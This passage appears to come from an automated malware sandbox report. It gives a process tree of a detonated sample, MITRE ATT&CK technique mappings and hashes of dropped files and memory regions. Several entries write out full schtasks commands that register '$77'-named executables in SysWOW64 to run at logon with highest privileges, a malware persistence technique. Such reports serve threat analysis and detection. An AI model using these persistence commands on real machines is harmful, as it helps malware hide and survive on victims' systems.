- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77oui" /tr '"C:\Windows\SysWOW64\$77oui.exe"' & exit
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "$77oui" /tr '"C:\Windows\SysWOW64\$77oui.exe"'
5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:232

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB84.tmp.bat""
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:840

C:\Windows\SysWOW64\timeout.exe
timeout 3
5⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:2552

C:\Windows\SysWOW64\$77oui.exe
"C:\Windows\SysWOW64\$77oui.exe"
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5092

C:\Users\Admin\AppData\Local\Temp\94e0a7f9-2c14-4595-9ac1-213fc6448540.exe
"C:\Users\Admin\AppData\Local\Temp\94e0a7f9-2c14-4595-9ac1-213fc6448540.exe"
3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1748

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "$77non" /tr '"C:\Windows\SysWOW64\$77non.exe"' & exit
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1364

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "$77non" /tr '"C:\Windows\SysWOW64\$77non.exe"'
5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4788

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB94.tmp.bat""
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:832

C:\Windows\SysWOW64\timeout.exe
timeout 3
5⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4952

C:\Windows\SysWOW64\$77non.exe
"C:\Windows\SysWOW64\$77non.exe"
5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3180

C:\Users\Admin\AppData\Local\Temp\5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe
"C:\Users\Admin\AppData\Local\Temp\5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe"
3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3620

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3824

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3980

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:3104

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3952

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4460

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4232

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3836

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:2316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:608

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3508

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:5016

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:1176

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:1568

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2264

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1260

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:4604

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4704

C:\Windows\system32\backgroundTaskHost.exe
"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
1⤵
PID:396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3f01549ee3e4c18244797530b588dad9

SHA1
3e87863fc06995fe4b741357c68931221d6cc0b9

SHA256
36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a

SHA512
73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
402c3f48af4b254fd33c130f0639e312

SHA1
f0668e6a1cfb84b7ad056762299e68ebf5ec2aa7

SHA256
39c278989a230bf0f6f6082149afb2790675e1774b275ca4f60b34c85b88a1c2

SHA512
d05ff520e0407fb54ecbefd963f7c2764435742f9162140ff6f4a62ffe9ea3f991183f90c42f71f3531685b34457c7bf6776b923fb74d3da3432736fedddaefb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
24a83bdf145c47735a76cf78e092ca4b

SHA1
7f4030b21c119fcfbc107b650bdb66a78e361d15

SHA256
2411e6ea9c57590079d08d14f6b3cc6e78020f3952ff882bebbed4a703045c9b

SHA512
8af084744b1bb6afdfe67aed8e003b38a9293f5595641e03313575f0201dd1ac14473c0da8f1ba89a09c9c35adc346fa3ec141b6bbe140f00cdaec19e639f22c

Download Submit
C:\Users\Admin\AppData\Local\Temp\5fc7b5e7-3f39-4691-a31e-d9c003fcfc3e.exe

Filesize
163KB

MD5
1a7d1b5d24ba30c4d3d5502295ab5e89

SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563

SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

Download Submit
C:\Users\Admin\AppData\Local\Temp\87bf4cc7-2d19-4f17-a861-69d4701bc2dd.exe

Filesize
56KB

MD5
6f6980e34dfadf2c00047317c6db0f0b

SHA1
77301f72ac77e790cd967c16fae50c0dc9436f24

SHA256
79c4e808f4b83f950f7b4bc29d83b4bff8234d544ceba4c3f1d08d75c6f9e2b6

SHA512
3695ab52cce28d419117abd769c14d312f940e8206540bd9b2183b38f80bc8ce7a71e9f81d5a73f93ef08f74a31d46b0e9caaf68d1ffd7174bfaeea93739bdc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\94e0a7f9-2c14-4595-9ac1-213fc6448540.exe

Filesize
56KB

MD5
f28f89cc61166c7dcbc9c0895f1f65ed

SHA1
536979b26034d08c04afb1c6b549a64ff4896bca

SHA256
8c93c9bbf614e4df3838a14de5c72b568948ae68755755865d97843e97223144

SHA512
39e9db6f68dad94170952eb48582333b8d92dae7dcd48dcce13e71c08520f9a1377823eb51cbee613abc4439557030742fc4589df6bea7aedfa419e88527d28b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0o20bxm.s1k.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB84.tmp.bat

Filesize
138B

MD5
6c1e1fc143066cdd7a82bd16a8dab306

SHA1
658fae7cbabae3af4c8dec3832629b0bc337a876

SHA256
4df98d697d00fdbef5297e7084e82cbddaa9d3cbcf8b1a526997cd43fe24faf1

SHA512
50986ae5cbeb367265986f4dec3d8107cb33e2b28ca1d01e26732f6b5bb8857c6c76d648bdcdb90cc78a30b6c68a4f14eba8afc55402d62db64f0ab74317d616

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpB94.tmp.bat

Filesize
138B

MD5
d2dad44000d3a2c5cdb49d5b7e0c6280

SHA1
14c2e3adfef081928d071766d663ba29ea9d1595

SHA256
e4d0c8e9f3838899f3472b6ba49735afc334e9db9a41bc4e492ba36f04220f75

SHA512
24b394eda29c0f7edd87c5cd8efacb6fa05c6bc7cea50a5df9c7aff76e67557beb8e811b197cf5df2ecfe29b700ce405075850f1c73db75decdf5ac132943931

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/332-171-0x0000021A0CBD0000-0x0000021A0CBFB000-memory.dmp

Filesize
172KB

Download
memory/332-172-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/332-165-0x0000021A0CBD0000-0x0000021A0CBFB000-memory.dmp

Filesize
172KB

Download
memory/512-176-0x00000150BE740000-0x00000150BE76B000-memory.dmp

Filesize
172KB

Download
memory/616-139-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/616-130-0x000002D2AC1A0000-0x000002D2AC1C5000-memory.dmp

Filesize
148KB

Download
memory/616-138-0x000002D2AC1D0000-0x000002D2AC1FB000-memory.dmp

Filesize
172KB

Download
memory/616-131-0x000002D2AC1D0000-0x000002D2AC1FB000-memory.dmp

Filesize
172KB

Download
memory/616-132-0x000002D2AC1D0000-0x000002D2AC1FB000-memory.dmp

Filesize
172KB

Download
memory/668-150-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/668-143-0x000001A5E2E30000-0x000001A5E2E5B000-memory.dmp

Filesize
172KB

Download
memory/668-149-0x000001A5E2E30000-0x000001A5E2E5B000-memory.dmp

Filesize
172KB

Download
memory/956-154-0x00000289BBB10000-0x00000289BBB3B000-memory.dmp

Filesize
172KB

Download
memory/956-160-0x00000289BBB10000-0x00000289BBB3B000-memory.dmp

Filesize
172KB

Download
memory/956-161-0x00007FF81F5B0000-0x00007FF81F5C0000-memory.dmp

Filesize
64KB

Download
memory/1748-77-0x0000000004EE0000-0x0000000004F7C000-memory.dmp

Filesize
624KB

Download
memory/1748-75-0x00000000004D0000-0x00000000004E4000-memory.dmp

Filesize
80KB

Download
memory/3496-46-0x00007FF841363000-0x00007FF841365000-memory.dmp

Filesize
8KB

Download
memory/3496-94-0x00000199D79A0000-0x00000199D7A35000-memory.dmp

Filesize
596KB

Download
memory/3496-2-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/3496-1-0x00000199BC670000-0x00000199BC708000-memory.dmp

Filesize
608KB

Download
memory/3496-0-0x00007FF841363000-0x00007FF841365000-memory.dmp

Filesize
8KB

Download
memory/3496-51-0x00000199D79A0000-0x00000199D7A35000-memory.dmp

Filesize
596KB

Download
memory/3496-47-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4344-114-0x0000022CD0FB0000-0x0000022CD0FDA000-memory.dmp

Filesize
168KB

Download
memory/4344-115-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/4344-116-0x00007FF85EE20000-0x00007FF85EEDE000-memory.dmp

Filesize
760KB

Download
memory/4476-16-0x00000281E3DF0000-0x00000281E3E34000-memory.dmp

Filesize
272KB

Download
memory/4476-14-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-22-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-19-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-9-0x00000281E37C0000-0x00000281E37E2000-memory.dmp

Filesize
136KB

Download
memory/4476-3-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-15-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-18-0x00007FF841360000-0x00007FF841E21000-memory.dmp

Filesize
10.8MB

Download
memory/4476-17-0x00000281E3EC0000-0x00000281E3F36000-memory.dmp

Filesize
472KB

Download
memory/4500-120-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-119-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-76-0x0000000000490000-0x00000000004A4000-memory.dmp

Filesize
80KB

Download
memory/4500-118-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-127-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-117-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-124-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4500-125-0x00007FF85F530000-0x00007FF85F725000-memory.dmp

Filesize
2.0MB

Download
memory/4500-126-0x00007FF85EE20000-0x00007FF85EEDE000-memory.dmp

Filesize
760KB

Download